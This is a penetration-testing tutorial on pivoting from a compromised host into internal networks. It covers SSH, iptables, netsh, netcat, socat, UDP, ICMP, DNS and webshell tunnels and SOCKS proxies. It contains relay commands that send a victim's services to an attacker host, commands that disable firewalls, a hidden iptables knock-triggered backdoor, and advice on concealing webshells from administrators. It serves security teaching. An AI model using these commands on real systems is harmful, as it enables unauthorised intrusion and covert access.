Approach
In penetration testing, you almost always need a proxy server, so let’s start by assuming we have a server with a public IP as the attacker machine.
“Internal network” is relative. Sometimes you get into a DMZ and then find you need to use a VPN to reach the target subnet. Here we only discuss an attack path with a single compromised host, treating it as the minimal unit. The goal is to derive a methodology that can be applied to environments with multiple pivot hosts.
If the compromised host exposes ports to the public internet and has no firewall so you can freely access its ports, then you can abstract it directly as the attacker machine.
However, if the compromised host is not directly exposed to the public internet, or there is an upstream device functioning as a firewall, then proceed with the steps below.
In most cases, you access services over TCP.
- Port mapping: map the target port to an unused port to pivot into the internal network; you can also use port multiplexing (e.g., iptables).
- Forward proxy: directly use the port as a tunnel to pivot into the internal network.
- Reverse proxy: if inbound connections from outside are not possible, have the compromised host initiate a reverse connection back to the attacker server.
If the target server cannot make outbound TCP connections, you can use a UDP tunnel. In that case, there isn’t really a “forward vs reverse” concept; it’s more about client vs server. Sometimes you’ll run into hosts with firewalls. If it’s a blacklist policy it’s relatively easier. If it’s a whitelist policy, UDP is usually not blocked; outbound port 53 might be allowed. If even outbound UDP is blocked, you can try an ICMP tunnel—but in such scenarios ICMP packets are very likely to be filtered.
Most of the time tunnels are not very stable. A common approach is: after establishing a tunnel, leverage the victim’s SSH service to enable a SOCKS5 proxy into the internal network (with a SOCKS client such as proxychains‑NG or Proxifier).
Define A as the attacker, B as the compromised pivot host, and C as other hosts (which could also be B itself). We’ll use these symbols in the rest of the post. Next, clarify a few concepts. As long as you can distinguish mapping vs tunneling, that’s enough. The Chinese wording can be a bit subtle: both mapping and tunneling are forwarding. Mapping can be seen as “forward” forwarding; a callback can be seen as “reverse” forwarding.
- Mapping: B listens on a port, C listens on a port; B forwards requests from A to C—i.e., C is mapped onto B.
- Tunnel: A listens on a port, C listens on a port; B actively forwards C’s listening port to A, so A↔C is effectively a tunnel.
- Callback: A listens on a port, B listens on a port; some condition triggers B to actively connect back to A.
Direct Forwarding
This section refers to forwarding at the network and transport layers.
SSH
This section is only for SSH1. First, a few useful options:
-C enable compression; useful on poor networks, also handy for moving data
-N do not execute any command; only do port forwarding
-g allow remote hosts to connect to local forwarded ports; required if you want to access a local port on the victim
-q quiet mode
-T disable pseudo-tty; `who` won’t show pseudo-tty users (but it seems unnecessary here)
Forward a remote port to a local port
ssh -Ng -L local:13389:target_C:3389 root@victim_B
Forward a local port to a remote port
You may need to configure /etc/ssh/sshd_config:
AllowAgentForwarding yes
AllowTcpForwarding yes
GatewayPorts yes
ssh -N -R remote:3000:local:80 root@victim_B
Use a SOCKS5 proxy
ssh -N -D 127.0.0.1:1080 root@victim_B
iptables Port Mapping
First, enable IPv4 forwarding in the kernel:
echo 1 > /proc/sys/net/ipv4/ip_forward
Use NAT to forward ports:
iptables -t nat -A PREROUTING -d victim_B -p tcp --dport listen_port -j DNAT --to-destination target_C:target_port
iptables -t nat -A POSTROUTING -d target_C -p tcp --dport target_port -j SNAT --to victim_B
netsh Port Mapping
Use the built-in port mapping feature:
netsh interface portproxy add v4tov4 listenaddress=victim_B listenport=3388 connectaddress=target_C connectport=3389
Delete forwarding rules:
netsh interface portproxy delete v4tov4 listenaddress=victim_B listenport=3388
Allow the corresponding inbound firewall rule:
netsh advfirewall firewall add rule name="forwarded_RDP_3388" protocol=TCP dir=in localip=victim_B localport=3388 action=allow
You can also disable the firewall:
# newer versions
netsh advfirewall set allprofiles state off
# older versions
netsh firewall set opmode disable
# or
net stop mpssvc
Show all proxies:
netsh interface portproxy show all
netcat
In mainstream distributions, most Netcat variants don’t support listening ports and program redirection. Netcat is a powerful networking tool (scanning, various data transfers, etc.). Ncat is an improved version. Here we only cover network-layer forwarding and mapping. SoCat is even more powerful: it supports more I/O types and connection multiplexing.
Port mapping
First, create a FIFO on host B, then map host C’s SSH port to port 9000 on host B:
mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc -vlp 9000 > /tmp/fifo
# or
cat /tmp/fifo | nc -vlp 9000 | nc target_C 22 > /tmp/fifo
Or use socat (single connection only):
socat tcp-connect:target_C:22 tcp-listen:9000
Use reuseaddr, reuseport, fork to allow multiple connections:
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
On host A, SSH to port 9000 on host B and you’ll be using host C’s SSH service:
ssh root@victim_B -p 9000
Port forwarding
First, create a FIFO on host A, then listen on port 8888 to receive forwarded data from host B, and listen on port 9000 as the forwarding service port.
mkfifo /tmp/fifo
cat /tmp/fifo | nc -vlp 8888 | nc -vlp 9000 > /tmp/fifo
# or
cat /tmp/fifo | nc -vlp 9000 | nc -vlp 8888 > /tmp/fifo
Or use socat:
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
Next, create a FIFO on host B, then forward host C’s SSH service to port 8888 that the attacker listens on.
mkfifo /tmp/fifo
cat /tmp/fifo | nc target_C 22 | nc attacker_A 8888 > /tmp/fifo
# or
cat /tmp/fifo | nc attacker_A 8888 | nc target_C 22 > /tmp/fifo
Or use socat:
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
Finally, SSH to port 9000 on host A; that effectively connects to port 22 on host C:
ssh root@attacker_A -p 9000
socat
SoCat is similar to Netcat in usage but much more powerful. It supports multiple protocols at different layers.
TCP4 TCP IPv4
TCP6 TCP IPv6
UDP UDP protocol
UNIX UNIX local socket
SCTP4 SCTP IPv4
SCTP6 SCTP IPv6
OPENSSL Secure Sockets Layer
SOCKET socket
Mapping
socat tcp-connect:target_C:22 tcp-listen:9000
Use reuseaddr, reuseport, fork to allow multiple connections:
socat tcp-listen:9000,reuseaddr,reuseport,fork tcp-connect:target_C:22
Forwarding
# victim_B
socat tcp-listen:8888,reuseaddr,reuseport,fork tcp-listen:9000,reuseaddr,reuseport,fork
# attacker_A
socat tcp-connect:target_C:22 tcp-connect:attacker_A:8888
UDP Tunnel
On Linux you can use SoCat, but on Windows you can’t (at least not the same way).
socat UDP-LISTEN:8888 tcp-connect:target_C:22
With Netcat, just add -u:
cat /tmp/fifo | nc -vulp 9000 | nc 192.168.1.127 22 > /tmp/fifo
rtcp2udp
https://github.com/ring04h/rtcp2udp
udptunnel
https://code.google.com/p/udptunnel/
ICMP Tunnel
First, make sure this is 0:
/proc/sys/net/ipv4/icmp_echo_ignore_all
icmptunnel
https://github.com/jamesbarlow/icmptunnel.git
ptunnel
Linux:
https://pkgs.org/download/ptunnel
Windows:
https://github.com/ptunnel-win
SCTP Tunnel
SCTP is a transport-layer protocol and is usually outside typical firewall TCP/UDP policies. Ncat supports it. Here we use SoCat; similar to port mapping, it listens on SCTP port 8888.
socat SCTP-LISTEN:8888 tcp-connect:target_C:22
DCCP Tunnel
Most Linux distributions don’t support it.
socat TCP4-LISTEN:8886,reuseaddr,type=6,prototype=33 TCP-CONNECT:target_C:22
socat TCP4-CONNECT:8886,reuseaddr,type=6,prototype=33 TCP-LISTEN:9000
Nginx Forwarding
First, make sure your Nginx is built with the stream module:
# output includes --with-stream
nginx -V | grep stream
Add the following to nginx.conf:
stream {
server {
listen 88;
proxy_connect_timeout 3s;
proxy_timeout 10s;
proxy_pass 127.0.0.1:22;
}
}
Reload the Nginx configuration:
nginx -s reload
Other Tools
dog-tunnel - a proxy tool mainly for hole punching; recommended by a coworker EarthWorm - “wormhole”, cross-platform, commonly praised; but it disconnects a lot for me and feels unstable Termite - next-gen “ant colony” of EarthWorm, cross-platform; great idea but crashes frequently in my experience JSPspy, ASPXspy, PHPspy - no download links; these webshells include tunnel and port mapping features fpipe - archaeology-grade; McAfee port mapping tool (Windows) passport - archaeology-grade; port forwarding tool on XP, supports UDP HTran - archaeology-grade; also known as lcx; average speed but stable
Application-Layer Tunnels
Socks
If conditions allow, you can run a SOCKS service on a server and use it with a client. Because it’s simple and there are plenty of tools (and many other tools bundle it), this section focuses on SOCKS5 (RFC1928) and just lists a few implementations.
Go Socks5 C# Socks5 C++ Socks5 py Socks4/5 PS Socks4/5 - supports port mapping
APT
In Metasploit (MSF), you can use port forwarding and proxy features:
portfwd add -l 2222 -r target -p 3389
Set routes:
route add 192.168.0.0 255.255.0.0 1
Enable a SOCKS4a proxy:
use auxiliary/server/socks4a
set SRVPORT 2080
exploit -y
Cobalt Strike can start a SOCKS4A proxy on the target, forward it to the Teamserver, and then the Teamserver listens on a port waiting for the attacker to connect.
DNS tunnel
iodine - a very useful DNS tunnel Dns2tcp - a DNS tunnel preinstalled on Kali dnscat2 - a Ruby-based DNS tunnel; haven’t used it yet
WebShell tunnel
reGeorg - a modified reGeorg; supports custom headers, reduces connection count, faster and more stable Tunna - another forward proxy; adds custom cookies and basic auth; average stability ABPTTS - said to combine the strengths of reGeorg and Tunna; more stable and more compatible, but doesn’t support custom HTTP headers; I’ll add it someday reDuh - archaeology; predecessor of reGeorg
RMI Deserialized tunnel
TODO. I got the idea after hearing N1nty share “JSPspy on RMI” last time. I’ll fill this in when I have time.
Multiplexing Tricks
Sometimes resources are limited and you cannot add new ones, so you need to reuse what’s already there.
Webshell
Since webshell tunnels are mentioned above, a quick note. Sometimes dropping a new webshell file directly under a directory will be noticed by admins, which is awkward. You can instead insert a backdoor into an existing file—e.g., a webshell with a “static resource” file extension. Or modify config so the server parses those resource types as scripts. You can also load it into memory, but it becomes ineffective after a service restart.
With Nginx, for HTTP services, you can reuse the port via routing rules and parse resource-file webshells.
TODO: can Nginx stream and HTTP services share the same port? It might require Lua.
iptables Rules
This borrows from N1nty’s write-up. The author explains a technique where receiving packets with a specific signature triggers corresponding rules. First you create forwarding rules, then create the trigger mechanism. This post was also published on other security media; someone in the comments smugly mentioned IP-based forwarding—which just shows they didn’t read carefully.
Split traffic by source port
Redirect traffic destined to local port 80 with source port 8989 to local port 22:
/sbin/iptables -t nat -A PREROUTING -p tcp --sport 8989 --dport 80 -j REDIRECT --to-port 22
Listen on local port 9000, and access the victim’s port 80 using source port 8989:
socat tcp-listen:9000,fork,reuseaddr tcp:victim_B:80,sourceport=8989,reuseaddr &
ssh [email protected] -p 9000
Split traffic by ICMP length
Use ICMP as a remote on/off switch. The downside is: if the target is inside an internal network, you can’t ping it directly.
# create a port-multiplexing chain
iptables -t nat -N LETMEIN
# create port-multiplexing rule, forward traffic to port 22
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# enable switch: if an ICMP packet of length 1139 is received, add the source IP to the letmein list
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
# disable switch: if an ICMP packet of length 1140 is received, remove the source IP from the letmein list
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEPT
# let's do it: if a SYN packet’s source IP is in the letmein list, jump to LETMEIN chain; effective for 3600 seconds
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
The IP header is 20 bytes and the ICMP header is 8 bytes, so the iptables packet length is: ICMP payload length + 28 bytes.
## enable LETMEIN
ping -c 1 -s 1111 victim_B
## disable LETMEIN
ping -c 1 -s 1112 victim_B
Split traffic by TCP keyword
Use a keyword in TCP packets as a remote on/off switch; works even if the target is in an internal network.
# port-multiplexing chain
iptables -t nat -N LETMEIN
# port-multiplexing rule
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# enable switch
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
# disable switch
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
One drawback is that the IP list added to letmein is the upstream proxy’s IP. So enabling this rule will affect normal users.
But even so, this is already quite well done. Since IP changes across hops, there aren’t spare header fields you can use as markers. At the TCP layer, aside from the Urgent Pointer field, everything else is meaningful, so you can only identify via payload content. But then iptables becomes less useful and it deviates from the original intent. Even in extremely constrained environments, I’d rather reuse an application-layer service than mess with this.
## enable LETMEIN
echo threathuntercoming | socat - tcp:victim_B:80
## disable LETMEIN
echo threathunterleaving | socat - tcp:victim_B:80
Using IPv6
If the device supports IPv6, maybe the ports are not restricted; you can try it.
On Linux, when using an IPv6 link-local address, add % to specify the interface name:
ssh root@fe80::2e0:4cff:fe68:eae%eth0
ping6 fe80::aefa:5908:5d93:44ba%eth0
On Windows, use it directly:
ping -6 fe80::aefa:5908:5d93:44ba
Summary
This is just one small piece of penetration testing. In real engagements you also need to deal with intrusion detection systems, which is still a blind spot for me.